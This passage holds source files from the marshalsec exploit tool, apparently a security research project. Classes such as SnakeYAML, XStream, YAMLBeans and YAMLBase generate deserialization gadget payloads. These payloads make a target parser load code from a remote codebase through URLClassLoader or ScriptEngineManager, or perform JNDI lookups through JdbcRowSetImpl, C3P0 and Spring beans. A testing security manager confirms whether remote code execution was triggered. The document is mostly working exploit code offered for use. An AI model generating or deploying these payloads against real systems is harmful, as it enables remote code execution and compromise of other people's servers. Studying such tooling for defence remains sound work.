71 | } 72 | else if ( perm instanceof SerializablePermission ) { 73 | return; 74 | } 75 | 76 | super.checkPermission(perm); 77 | } 78 | 79 | 80 | /** 81 | * {@inheritDoc} 82 | * 83 | * @see java.lang.SecurityManager#checkPropertyAccess(java.lang.String) 84 | */ 85 | @Override 86 | public void checkPropertyAccess ( String key ) {} 87 | 88 | 89 | /** 90 | * @param perm 91 | */ 92 | private static boolean checkRuntimePermission ( RuntimePermission perm ) { 93 | 94 | if ( perm.getName().startsWith("accessClassInPackage.") ) { 95 | return true; 96 | } 97 | 98 | switch ( perm.getName() ) { 99 | case "setSecurityManager": 100 | return true; 101 | case "accessDeclaredMembers": 102 | return true; 103 | case "reflectionFactoryAccess": 104 | return true; 105 | case "createClassLoader": 106 | return true; 107 | case "getClassLoader": 108 | return true; 109 | case "setContextClassLoader": 110 | return true; 111 | case "shutdownHooks": 112 | return true; 113 | case "loadLibrary.net": 114 | return true; 115 | case "getProtectionDomain": 116 | return true; 117 | } 118 | 119 | return false; 120 | } 121 | 122 | } 123 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/SnakeYAML.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.net.URL; 27 | import java.net.URLClassLoader; 28 | import java.util.Collections; 29 | import java.util.LinkedHashMap; 30 | import java.util.Map; 31 | 32 | import javax.management.BadAttributeValueExpException; 33 | import javax.naming.InitialContext; 34 | import javax.naming.Reference; 35 | import javax.script.ScriptEngineManager; 36 | 37 | import org.apache.commons.configuration.ConfigurationMap; 38 | import org.apache.commons.configuration.JNDIConfiguration; 39 | import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding; 40 | import org.apache.xbean.naming.context.WritableContext; 41 | import org.springframework.beans.factory.config.PropertyPathFactoryBean; 42 | import org.springframework.jndi.support.SimpleJndiBeanFactory; 43 | import org.yaml.snakeyaml.Yaml; 44 | 45 | import marshalsec.gadgets.Args; 46 | import marshalsec.gadgets.C3P0RefDataSource; 47 | import marshalsec.gadgets.C3P0WrapperConnPool; 48 | import marshalsec.gadgets.CommonsConfiguration; 49 | import marshalsec.gadgets.JdbcRowSet; 50 | import marshalsec.gadgets.ScriptEngine; 51 | import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor; 52 | import marshalsec.gadgets.SpringPropertyPathFactory; 53 | import marshalsec.gadgets.XBean; 54 | 55 | 56 | /** 57 | * 58 | * Not applicable: 59 | * - ROME: cannot construct java.lang.Class instance 60 | * - ImageIO: cannot construct Method instance, can however still be used to trigger an iterator 61 | * 62 | * - LazySearchEnumeration: may be possible 63 | * 64 | * @author mbechler 65 | * 66 | */ 67 | public class SnakeYAML extends YAMLBase implements ScriptEngine, JdbcRowSet, CommonsConfiguration, C3P0RefDataSource, C3P0WrapperConnPool, 68 | SpringPropertyPathFactory, SpringAbstractBeanFactoryPointcutAdvisor, XBean { 69 | 70 | /** 71 | * {@inheritDoc} 72 | * 73 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 74 | */ 75 | @Override 76 | public String marshal ( Object o ) throws Exception { 77 | Yaml r = new Yaml(); 78 | return r.dump(o); 79 | } 80 | 81 | 82 | /** 83 | * {@inheritDoc} 84 | * 85 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 86 | */ 87 | @Override 88 | public Object unmarshal ( String data ) throws Exception { 89 | Yaml r = new Yaml(); 90 | return r.load(data); 91 | } 92 | 93 | 94 | @Override 95 | @Args ( minArgs = 1, args = { 96 | "codebase" 97 | }, defaultArgs = { 98 | MarshallerBase.defaultCodebase 99 | } ) 100 | public Object makeScriptEngine ( UtilFactory uf, String[] args ) throws Exception { 101 | return writeConstructor( 102 | ScriptEngineManager.class, 103 | true, 104 | writeConstructor(URLClassLoader.class, true, writeArray(writeConstructor(URL.class, true, writeString(args[ 0 ]))))); 105 | } 106 | 107 | 108 | /** 109 | * {@inheritDoc} 110 | * 111 | * @see marshalsec.gadgets.CommonsConfiguration#makeConfigurationMap(marshalsec.UtilFactory, java.lang.String[]) 112 | */ 113 | @Override 114 | @Args ( minArgs = 1, args = { 115 | "jndiUrl" 116 | }, defaultArgs = { 117 | MarshallerBase.defaultJNDIUrl 118 | } ) 119 | public Object makeConfigurationMap ( UtilFactory uf, String[] args ) throws Exception { 120 | return writeSet( 121 | writeObject( 122 | ConfigurationMap.class, 123 | Collections.EMPTY_MAP, 124 | 1, 125 | writeConstructor(JNDIConfiguration.class, true, writeConstructor(InitialContext.class, true), writeString(args[ 0 ])))); 126 | } 127 | 128 | 129 | /** 130 | * {@inheritDoc} 131 | * 132 | * @see marshalsec.gadgets.SpringPropertyPathFactory#makePropertyPathFactory(marshalsec.UtilFactory, 133 | * java.lang.String[]) 134 | */ 135 | @Override 136 | @Args ( minArgs = 1, args = { 137 | "jndiUrl" 138 | }, defaultArgs = { 139 | MarshallerBase.defaultJNDIUrl 140 | } ) 141 | public Object makePropertyPathFactory ( UtilFactory uf, String[] args ) throws Exception { 142 | Map properties = new LinkedHashMap<>(); 143 | String jndiUrl = args[ 0 ]; 144 | properties.put("targetBeanName", writeString(jndiUrl)); 145 | properties.put("propertyPath", "foo"); 146 | properties.put( 147 | "beanFactory", 148 | writeObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(writeString(jndiUrl))), 1)); 149 | return writeObject(PropertyPathFactoryBean.class, properties); 150 | } 151 | 152 | 153 | /** 154 | * {@inheritDoc} 155 | * 156 | * @see marshalsec.gadgets.XBean#makeXBean(marshalsec.UtilFactory, java.lang.String[]) 157 | */ 158 | @Override 159 | @Args ( minArgs = 2, args = { 160 | "codebase", "classname" 161 | }, defaultArgs = { 162 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 163 | } ) 164 | public Object makeXBean ( UtilFactory uf, String[] args ) throws Exception { 165 | // BadAttributeValueExpException constructor as toString trigger 166 | return writeConstructor( 167 | BadAttributeValueExpException.class, 168 | false, 169 | writeConstructor( 170 | ReadOnlyBinding.class, 171 | true, 172 | writeString("foo"), 173 | writeConstructor(Reference.class, true, "foo", writeString(args[ 1 ]), writeString(args[ 0 ])), 174 | writeConstructor(WritableContext.class, true))); 175 | } 176 | 177 | 178 | @Override 179 | protected boolean constructorArgumentsSupported () { 180 | return true; 181 | } 182 | 183 | 184 | @Override 185 | protected String constructorPrefix ( boolean inline ) { 186 | return "!!"; 187 | } 188 | 189 | 190 | public static void main ( String[] args ) { 191 | new SnakeYAML().run(args); 192 | } 193 | 194 | } 195 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/TestingSecurityManager.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.net.URL; 27 | import java.security.Permission; 28 | import java.util.HashSet; 29 | import java.util.Set; 30 | 31 | 32 | /** 33 | * 34 | * @author mbechler 35 | * 36 | */ 37 | public class TestingSecurityManager extends SecurityManager { 38 | 39 | private String executed; 40 | private Set remoteCodebases = new HashSet<>(); 41 | 42 | 43 | /** 44 | * {@inheritDoc} 45 | * 46 | * @see java.lang.SecurityManager#checkExec(java.lang.String) 47 | */ 48 | @Override 49 | public void checkExec ( String cmd ) { 50 | this.executed = cmd; 51 | throw new java.lang.SecurityException("Not calling executable " + cmd); 52 | } 53 | 54 | 55 | /** 56 | * {@inheritDoc} 57 | * 58 | * @see java.lang.SecurityManager#checkPermission(java.security.Permission) 59 | */ 60 | @Override 61 | public void checkPermission ( Permission perm ) { 62 | 63 | if ( perm instanceof RuntimePermission ) { 64 | return; 65 | } 66 | 67 | Set cbs = new HashSet<>(); 68 | for ( Class cl : getClassContext() ) { 69 | if ( cl.getProtectionDomain() != null && cl.getProtectionDomain().getCodeSource() != null 70 | && cl.getProtectionDomain().getCodeSource().getLocation() != null 71 | && !"file".equals(cl.getProtectionDomain().getCodeSource().getLocation().getProtocol()) ) { 72 | cbs.add(cl.getProtectionDomain().getCodeSource().getLocation()); 73 | } 74 | } 75 | 76 | this.remoteCodebases.addAll(cbs); 77 | } 78 | 79 | 80 | public void assertRCE () throws Exception { 81 | 82 | if ( this.executed != null ) { 83 | System.err.println("Had execution of " + this.executed); 84 | return; 85 | } 86 | 87 | if ( !this.remoteCodebases.isEmpty() ) { 88 | System.err.println("Had execution from " + this.remoteCodebases); 89 | return; 90 | } 91 | 92 | throw new Exception("Did not trigger RCE"); 93 | } 94 | 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/UtilFactory.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.util.Comparator; 27 | 28 | import marshalsec.gadgets.JDKUtil; 29 | import marshalsec.gadgets.ToStringUtil; 30 | 31 | 32 | /** 33 | * @author mbechler 34 | * 35 | */ 36 | public interface UtilFactory { 37 | 38 | default Object makeHashCodeTrigger ( Object o1 ) throws Exception { 39 | return JDKUtil.makeMap(o1, o1); 40 | } 41 | 42 | 43 | default Object makeEqualsTrigger ( Object tgt, Object sameHash ) throws Exception { 44 | return JDKUtil.makeMap(tgt, sameHash); 45 | } 46 | 47 | 48 | Object makeToStringTriggerUnstable ( Object obj ) throws Exception; 49 | 50 | 51 | default Object makeToStringTriggerStable ( Object obj ) throws Exception { 52 | return ToStringUtil.makeToStringTrigger(obj); 53 | } 54 | 55 | 56 | default Object makeIteratorTrigger ( Object it ) throws Exception { 57 | return JDKUtil.makeIteratorTriggerNative(this, it); 58 | } 59 | 60 | 61 | default Object makeComparatorTrigger ( Object tgt, Comparator cmp ) throws Exception { 62 | return JDKUtil.makeTreeMap(tgt, cmp); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/XStream.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.util.Comparator; 27 | 28 | import marshalsec.gadgets.BindingEnumeration; 29 | import marshalsec.gadgets.CommonsBeanutils; 30 | import marshalsec.gadgets.CommonsConfiguration; 31 | import marshalsec.gadgets.ImageIO; 32 | import marshalsec.gadgets.JDKUtil; 33 | import marshalsec.gadgets.LazySearchEnumeration; 34 | import marshalsec.gadgets.Resin; 35 | import marshalsec.gadgets.Rome; 36 | import marshalsec.gadgets.ServiceLoader; 37 | import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor; 38 | import marshalsec.gadgets.SpringPartiallyComparableAdvisorHolder; 39 | import marshalsec.gadgets.XBean; 40 | 41 | 42 | /** 43 | * 44 | * Not applicable: 45 | * - UnicastRefGadget,UnicastRemoteObjectGadget: don't think there is anything to gain here 46 | * 47 | * @author mbechler 48 | * 49 | */ 50 | public class XStream extends MarshallerBase implements CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO, 51 | BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBean { 52 | 53 | /** 54 | * {@inheritDoc} 55 | * 56 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 57 | */ 58 | @Override 59 | public String marshal ( Object o ) throws Exception { 60 | com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream(); 61 | return xs.toXML(o); 62 | } 63 | 64 | 65 | /** 66 | * {@inheritDoc} 67 | * 68 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 69 | */ 70 | @Override 71 | public Object unmarshal ( String data ) throws Exception { 72 | com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream(); 73 | return xs.fromXML(data); 74 | } 75 | 76 | 77 | /** 78 | * {@inheritDoc} 79 | * 80 | * @see marshalsec.UtilFactory#makeComparatorTrigger(java.lang.Object, java.util.Comparator) 81 | */ 82 | @Override 83 | public Object makeComparatorTrigger ( Object tgt, Comparator cmp ) throws Exception { 84 | return JDKUtil.makePriorityQueue(tgt, cmp); 85 | } 86 | 87 | 88 | public static void main ( String[] args ) { 89 | new XStream().run(args); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/YAMLBase.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.util.Collections; 27 | import java.util.LinkedHashMap; 28 | import java.util.Map; 29 | import java.util.Map.Entry; 30 | 31 | import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; 32 | import org.springframework.jndi.support.SimpleJndiBeanFactory; 33 | 34 | import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; 35 | import com.sun.rowset.JdbcRowSetImpl; 36 | 37 | import marshalsec.gadgets.Args; 38 | import marshalsec.gadgets.C3P0WrapperConnPool; 39 | 40 | 41 | /** 42 | * @author mbechler 43 | * 44 | */ 45 | public abstract class YAMLBase extends MarshallerBase { 46 | 47 | @Args ( minArgs = 1, args = { 48 | "jndiUrl" 49 | }, defaultArgs = { 50 | MarshallerBase.defaultJNDIUrl 51 | } ) 52 | public Object makeJdbcRowSet ( UtilFactory uf, String[] args ) throws Exception { 53 | Map properties = new LinkedHashMap<>(); 54 | properties.put("dataSourceName", writeString(args[ 0 ])); 55 | properties.put("autoCommit", "true"); 56 | return writeObject(JdbcRowSetImpl.class, properties); 57 | } 58 | 59 | 60 | @Args ( minArgs = 1, args = { 61 | "jndiUrl" 62 | }, defaultArgs = { 63 | MarshallerBase.defaultJNDIUrl 64 | } ) 65 | public Object makeRefDataSource ( UtilFactory uf, String[] args ) throws Exception { 66 | Map props = new LinkedHashMap<>(); 67 | props.put("jndiName", writeString(args[ 0 ])); 68 | props.put("loginTimeout", "0"); 69 | return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props); 70 | } 71 | 72 | 73 | @Args ( minArgs = 2, args = { 74 | "codebase", "class" 75 | }, defaultArgs = { 76 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 77 | } ) 78 | public Object makeWrapperConnPool ( UtilFactory uf, String[] args ) throws Exception { 79 | return writeObject( 80 | WrapperConnectionPoolDataSource.class, 81 | Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])))); 82 | } 83 | 84 | 85 | @Args ( minArgs = 1, args = { 86 | "jndiUrl" 87 | }, defaultArgs = { 88 | MarshallerBase.defaultJNDIUrl 89 | } ) 90 | public Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception { 91 | Map properties = new LinkedHashMap<>(); 92 | String jndiUrl = args[ 0 ]; 93 | properties.put("adviceBeanName", writeString(jndiUrl)); 94 | properties.put( 95 | "beanFactory", 96 | writeObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(writeString(jndiUrl))), 2)); 97 | return writeSet( 98 | writeObject(DefaultBeanFactoryPointcutAdvisor.class, properties, 1), 99 | writeConstructor(DefaultBeanFactoryPointcutAdvisor.class, true)); 100 | } 101 | 102 | 103 | protected String writeArray ( String... elems ) { 104 | StringBuilder sb = new StringBuilder(); 105 | sb.append('['); 106 | boolean first = true; 107 | for ( String elem : elems ) { 108 | if ( !first ) { 109 | sb.append(','); 110 | sb.append(' '); 111 | } 112 | else { 113 | first = false; 114 | } 115 | sb.append(elem); 116 | } 117 | sb.append(']'); 118 | return sb.toString(); 119 | } 120 | 121 | 122 | protected String writeObject ( Class clazz, Map properties, String... consArgs ) { 123 | return writeObject(clazz.getName(), properties, consArgs); 124 | } 125 | 126 | 127 | protected String writeObject ( String clazz, Map properties, String... consArgs ) { 128 | return writeObject(clazz, properties, 0, consArgs); 129 | } 130 | 131 | 132 | protected String writeObject ( Class clazz, Map properties, int level, String... consArgs ) { 133 | return writeObject(clazz.getName(), properties, level, consArgs); 134 | } 135 | 136 | 137 | protected String writeObject ( String clazz, Map properties, int level, String... consArgs ) { 138 | StringBuilder sb = new StringBuilder(); 139 | sb.append(writeConstructor(clazz, false, consArgs)); 140 | 141 | if ( !properties.isEmpty() ) { 142 | int indent = ( level + 1 ) * 2; 143 | for ( Entry prop : properties.entrySet() ) { 144 | sb.append('\n'); 145 | for ( int i = 0; i < indent; i++ ) { 146 | sb.append(' '); 147 | } 148 | sb.append(prop.getKey()); 149 | sb.append(':').append(' '); 150 | sb.append(prop.getValue()); 151 | } 152 | } 153 | return sb.toString(); 154 | } 155 | 156 | 157 | protected String writeSet ( String... elements ) { 158 | StringBuilder sb = new StringBuilder(); 159 | sb.append("set:"); 160 | if ( elements.length == 0 ) { 161 | sb.append('\n'); 162 | } 163 | else { 164 | for ( String elem : elements ) { 165 | sb.append('\n'); 166 | sb.append(" ? "); 167 | sb.append(elem); 168 | } 169 | } 170 | return sb.toString(); 171 | } 172 | 173 | 174 | protected String writeConstructor ( Class clazz, boolean inline, String... args ) { 175 | return writeConstructor(clazz.getName(), inline, args); 176 | } 177 | 178 | 179 | protected String writeConstructor ( String clazz, boolean inline, String... args ) { 180 | StringBuilder sb = new StringBuilder(); 181 | sb.append(constructorPrefix(inline)); 182 | sb.append(clazz); 183 | if ( constructorArgumentsSupported() && ( inline || args.length != 0 ) ) { 184 | sb.append(' '); 185 | sb.append(writeArray(args)); 186 | } 187 | return sb.toString(); 188 | } 189 | 190 | 191 | protected abstract String constructorPrefix ( boolean inline ); 192 | 193 | 194 | protected abstract boolean constructorArgumentsSupported (); 195 | 196 | 197 | protected String writeString ( String string ) { 198 | return '"' + string + '"'; 199 | } 200 | 201 | } -------------------------------------------------------------------------------- /src/main/java/marshalsec/YAMLBeans.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.StringWriter; 27 | 28 | import com.esotericsoftware.yamlbeans.YamlConfig; 29 | import com.esotericsoftware.yamlbeans.YamlReader; 30 | import com.esotericsoftware.yamlbeans.YamlWriter; 31 | 32 | import marshalsec.gadgets.C3P0WrapperConnPool; 33 | 34 | 35 | /** 36 | * @author mbechler 37 | * 38 | */ 39 | public class YAMLBeans extends YAMLBase implements C3P0WrapperConnPool { 40 | 41 | /** 42 | * {@inheritDoc} 43 | * 44 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 45 | */ 46 | @Override 47 | public String marshal ( Object o ) throws Exception { 48 | YamlConfig yc = new YamlConfig(); 49 | StringWriter sw = new StringWriter(); 50 | YamlWriter w = new YamlWriter(sw, yc); 51 | w.write(o); 52 | return sw.toString(); 53 | } 54 | 55 | 56 | /** 57 | * {@inheritDoc} 58 | * 59 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 60 | */ 61 | @Override 62 | public Object unmarshal ( String data ) throws Exception { 63 | YamlConfig yc = new YamlConfig(); 64 | YamlReader r = new YamlReader(data, yc); 65 | return r.read(); 66 | } 67 | 68 | 69 | @Override 70 | protected boolean constructorArgumentsSupported () { 71 | return false; 72 | } 73 | 74 | 75 | @Override 76 | protected String constructorPrefix ( boolean inline ) { 77 | return "!"; 78 | } 79 | 80 | 81 | public static void main ( String[] args ) { 82 | new YAMLBeans().run(args); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/Args.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.lang.annotation.Documented; 27 | import java.lang.annotation.Retention; 28 | import java.lang.annotation.RetentionPolicy; 29 | 30 | 31 | /** 32 | * @author mbechler 33 | * 34 | */ 35 | @Retention ( RetentionPolicy.RUNTIME ) 36 | @Documented 37 | public @interface Args { 38 | 39 | int minArgs() default 0; 40 | 41 | 42 | String[] args(); 43 | 44 | 45 | String[] defaultArgs() default {}; 46 | 47 | 48 | boolean noTest() default false; 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/BindingEnumeration.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import marshalsec.MarshallerBase; 27 | import marshalsec.UtilFactory; 28 | 29 | 30 | /** 31 | * 32 | * This no longer works starting with u121 as it is restricted to JNDI/RMI 33 | * 34 | * @author mbechler 35 | * 36 | */ 37 | public interface BindingEnumeration extends Gadget { 38 | 39 | @Args ( minArgs = 2, args = { 40 | "codebase", "class" 41 | }, noTest = true, defaultArgs = { 42 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 43 | } ) 44 | default Object makeBindingEnumeration ( UtilFactory uf, String[] args ) throws Exception { 45 | return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ]))); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- 